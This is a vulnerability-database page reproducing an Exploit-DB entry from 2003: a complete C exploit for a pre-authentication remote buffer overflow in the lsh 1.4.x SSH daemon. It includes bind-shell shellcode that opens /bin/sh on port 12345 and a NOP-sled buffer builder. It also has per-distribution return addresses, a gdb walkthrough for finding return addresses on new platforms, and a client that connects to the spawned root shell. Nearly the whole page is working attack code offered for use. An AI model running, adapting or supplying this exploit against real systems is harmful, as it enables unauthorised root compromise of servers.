Lucene search
K

LSH 1.x - Remote Buffer Overflow (1)

🗓️ 19 Sep 2003 00:00:00Reported by Carl LivittType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 27 Views

Remote buffer overflow in lsh 1.x allows pre-authentication exploitation of the daemon.

Code
// source: https://www.securityfocus.com/bid/8655/info

lsh has been reported prone to a remote buffer overflow vulnerability. The condition is reported to present itself in fairly restrictive circumstances, and has been reported to be exploitable pre-authentication. Successful exploitation could result in the execution of arbitrary attacker supplied instructions in the context of the affected daemon. 

/*
  --------------------------------------
  Remote r00t exploit for lsh 1.4.x
  by Haggis aka Carl Livitt - carl.learningshophull@co@uk
  19/09/2003

  Latest version should always be available from
  http://doris.scriptkiddie.net
  ------------------------------------

  Spawns bindshell on port 12345 of remote host.

  Handily, it also bypasses non-exec stack protection as the
  shellcode is on the heap.

  NOTE: This exploit _only_ works if it's the first thing to
  connect to the lshd daemon after it has been started.
  Any other time, it is just a DoS. Run it a few times against
  a host running lshd to see what I mean.


  --------------------------------------------
  Determining RET address for a new platform:
  ------------------------------------------

  Start up 'lshd --daemonic', attach gdb to it and 'c'ontinue:

	sol:~ # rm /var/run/lshd.pid ; lshd --daemonic ; gdb -q lshd `pgrep lshd`
	Attaching to program: /usr/local/sbin/lshd, process 7140
	Reading symbols from /lib/libpam.so.0...done.
	Loaded symbols for /lib/libpam.so.0
	Reading symbols from /lib/libutil.so.1...done.
	Loaded symbols for /lib/libutil.so.1
	Reading symbols from /lib/libnsl.so.1...done.
	Loaded symbols for /lib/libnsl.so.1
	Reading symbols from /lib/libcrypt.so.1...done.
	Loaded symbols for /lib/libcrypt.so.1
	Reading symbols from /lib/libz.so.1...done.
	Loaded symbols for /lib/libz.so.1
	Reading symbols from /usr/local/lib/liboop.so.4...done.
	Loaded symbols for /usr/local/lib/liboop.so.4
	Reading symbols from /usr/lib/libgmp.so.3...done.
	Loaded symbols for /usr/lib/libgmp.so.3
	Reading symbols from /lib/libc.so.6...done.
	Loaded symbols for /lib/libc.so.6
	Reading symbols from /lib/libdl.so.2...done.
	Loaded symbols for /lib/libdl.so.2
	Reading symbols from /lib/ld-linux.so.2...done.
	Loaded symbols for /lib/ld-linux.so.2
	Reading symbols from /lib/libnss_files.so.2...done.
	Loaded symbols for /lib/libnss_files.so.2
	0x40157d37 in fork () from /lib/libc.so.6
	(gdb) c
	Continuing.

  Switch to another terminal, and run the exploit against the lsh
  server, specifying target number 3 (Test):

	haggis@sol:~/exploits/research/lsh> ./lsh_exploit -t localhost -T 3
	LSH 1.4.x (others?) exploit by Haggis ([email protected])

	[-] Building exploit buffer...
	[-] Sending exploit string...
	[-] Sleeping...
	[-] Connecting to bindshell...
	[*] Could not connect to localhost - the exploit failed

  Switch back to your other terminal. You will see:

	Program received signal SIGSEGV, Segmentation fault.
	0x41424344 in ?? ()


  Type 'x/1000x $eax':

	(gdb) x/1000x $eax

  And wait until you find lines similar to these:

	0x809fa68:      0x90909090      0x90909090      0x90909090      0x90909090
	0x809fa78:      0x90909090      0x90909090      0x90909090      0x90909090
	0x809faa8:      0x90909090      0x90909090      0x90909090      0x90909090
	0x809fa9c:      0x90909090      0x90909090      0x90909090      0x90909090
	^^^^^^^^^

  Any of the addresses that contains a NOP (0x90) can be used as your RET address.
  Create a new target in the source-code and Bob's-yer-uncle!
*/

#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <netdb.h>
#include <time.h>
#include <stdarg.h>

#define SSH_PORT 22
#define BINDSHELL_PORT 12345
#define SIZ 8092
#define EXPLOIT_BUF_SIZE 4000 	// just approximate - works well enough
#define NOPS_LEN 1024

/*
 * Linux shellcode - binds /bin/sh to a port
 *
 * Claes M. Nyberg 20020620
 *
 * <[email protected]>, <[email protected]>
 */
char shellcode[]=
"\x83\xec\x10\x89\xe7\x31\xc0\x50\x50\x50\x66\x68\x30\x39\xb0\x02\x66\x50"
"\x89\xe6\x6a\x06\x6a\x01\x6a\x02\x89\xe1\x31\xdb\x43\x30\xe4\xb0\x66\xcd"
"\x80\x89\xc5\x6a\x10\x56\x55\x89\xe1\x43\x31\xc0\xb0\x66\xcd\x80\x50\x55"
"\x89\xe1\xb3\x04\xb0\x66\xcd\x80\xb0\x10\x50\x54\x57\x55\x89\xe1\xb3\x05"
"\xb0\x66\xcd\x80\x89\xc3\x31\xc9\x31\xc0\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd"
"\x80\x41\xb0\x3f\xcd\x80\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80";

struct
{
	char *platform;
	unsigned long retAddr;
} targets[]= {
	{ "SuSE 8.1   - LSH v1.4.x (default)", 0x0809fb20},
	{ "RedHat 7.3 - LSH v1.4.x", 0x0809de90},
	{ "RedHat 8.0 - LSH v1.4.x", 0x0809a9d8},
	{ "Test. RET address = 0x41424344", 0x41424344},
	NULL
};

void my_send(int, char *, ...);
void my_recv(int);
int connect_to_host(int);
void my_sleep(int n);
int do_bind_shell();

struct hostent *hostStruct;
char buf[SIZ], host[SIZ]="\0";
int useTarget=0;
char usage[]=
"Usage: ./lsh_exploit -t host_name [-T platform_type]\n";

main(int argc, char **argv)
{
	int ch, i, targetSock;
	unsigned long *retPtr;
	char *charRetPtr;

	printf("LSH 1.4.x (others?) exploit by Haggis ([email protected])\n\n");
	while((ch=getopt(argc, argv, "t:T:h"))!=-1) {
		switch(ch) {
			case 't':
				strncpy(host, optarg, SIZ-1);
				break;
			case 'T':
				useTarget=atoi(optarg);
				break;
			case 'h':
			default:
				printf("%s\n",usage);
				printf("Available platforms:\n");
				for(i=0;targets[i].platform;i++)
					printf(" %2d. %s\n", i, targets[i].platform);
				printf("\n");
				exit(0);
				break;
		}
	}

	if(host[0]=='\0') {
		printf("[*] You must specify a host! Use -h for help\n");
		exit(1);
	}
	if((hostStruct=gethostbyname(host))==NULL) {
		printf("[*] Couldn't resolve host %s\nUse '%s -h' for help\n", host,argv[0]);
		exit(1);
	}
	if((targetSock=connect_to_host(SSH_PORT))==-1) {
		printf("[*] Coulnd't connect to host %s\n", host);
		exit(1);
	}
	my_recv(targetSock);

	printf("[-] Building exploit buffer...\n");

	retPtr=(unsigned long *)buf;
	for(i=0;i<EXPLOIT_BUF_SIZE/4;i++)
		*(retPtr++)=targets[useTarget].retAddr;

	charRetPtr=(unsigned char *)retPtr;
	for(i=0;i<NOPS_LEN-strlen(shellcode);i++)
		*(charRetPtr++)=(unsigned long)0x90;

	memcpy(charRetPtr, shellcode, strlen(shellcode));
	*(charRetPtr+strlen(shellcode))='\n';
	*(charRetPtr+strlen(shellcode)+1)='\0';

	printf("[-] Sending exploit string...\n");
	my_send(targetSock, buf);
	close(targetSock);

	printf("[-] Sleeping...\n");
	my_sleep(100000);

	printf("[-] Connecting to bindshell...\n");
	if(do_bind_shell()==-1)
		printf("[*] Could not connect to %s - the exploit failed\n", host);

	exit(0);
}

int do_bind_shell()
{
	fd_set rfds;
	int sock,retVal,r;

	if((sock=connect_to_host(BINDSHELL_PORT))==-1)
		return -1;

	printf("[-] Success!!! You should now be r00t on %s\n", host);
	do {
		FD_ZERO(&rfds);
		FD_SET(0, &rfds);
		FD_SET(sock, &rfds);
		retVal=select(sock+1, &rfds, NULL, NULL, NULL);
		if(retVal) {
			if(FD_ISSET(sock, &rfds)) {
				buf[(r=recv(sock, buf, SIZ-1,0))]='\0'; // bad!
				printf("%s", buf);
			}
			if(FD_ISSET(0, &rfds)) {
				buf[(r=read(0, buf, SIZ-1))]='\0'; // bad!
				send(sock, buf, strlen(buf), 0);
			}

		}
	} while(retVal && r); // loop until connection terminates

	close(sock);
	return 1;
}

// Given a port number, connects to an already resolved hostname...
// connects a TCP stream and returns a socket number (or returns error)
int connect_to_host(int p)
{
	int sock;
	struct sockaddr_in saddr;

	if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
		return -1;
	memset((void *)&saddr, 0, sizeof(struct sockaddr_in));
	saddr.sin_family=AF_INET;
	saddr.sin_addr.s_addr=*((unsigned long *)hostStruct->h_addr_list[0]);
	saddr.sin_port=htons(p);
	if(connect(sock, (struct sockaddr *)&saddr, sizeof(saddr))<0) {
		close(sock);
		return -1;
	} else
	return sock;
}


// Handy little function to send formattable data down a socket.
void my_send(int s, char *b, ...)
{
	va_list ap;
	char *buf;

	va_start(ap,b);
	vasprintf(&buf,b,ap);
	send(s,buf,strlen(buf),0);
	va_end(ap);
	free(buf);
}


// Another handy function to read data from a socket.
void my_recv(int s)
{
	int len;
	char buf[SIZ];

	len=recv(s, buf, SIZ-1, 0);
	buf[len]=0;
}


// Wrapper for nanosleep()... just pass 'n' nanoseconds to it.
void my_sleep(int n)
{
	struct timespec t;
	t.tv_sec=0;
	t.tv_nsec=n;
	nanosleep(&t,&t);
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation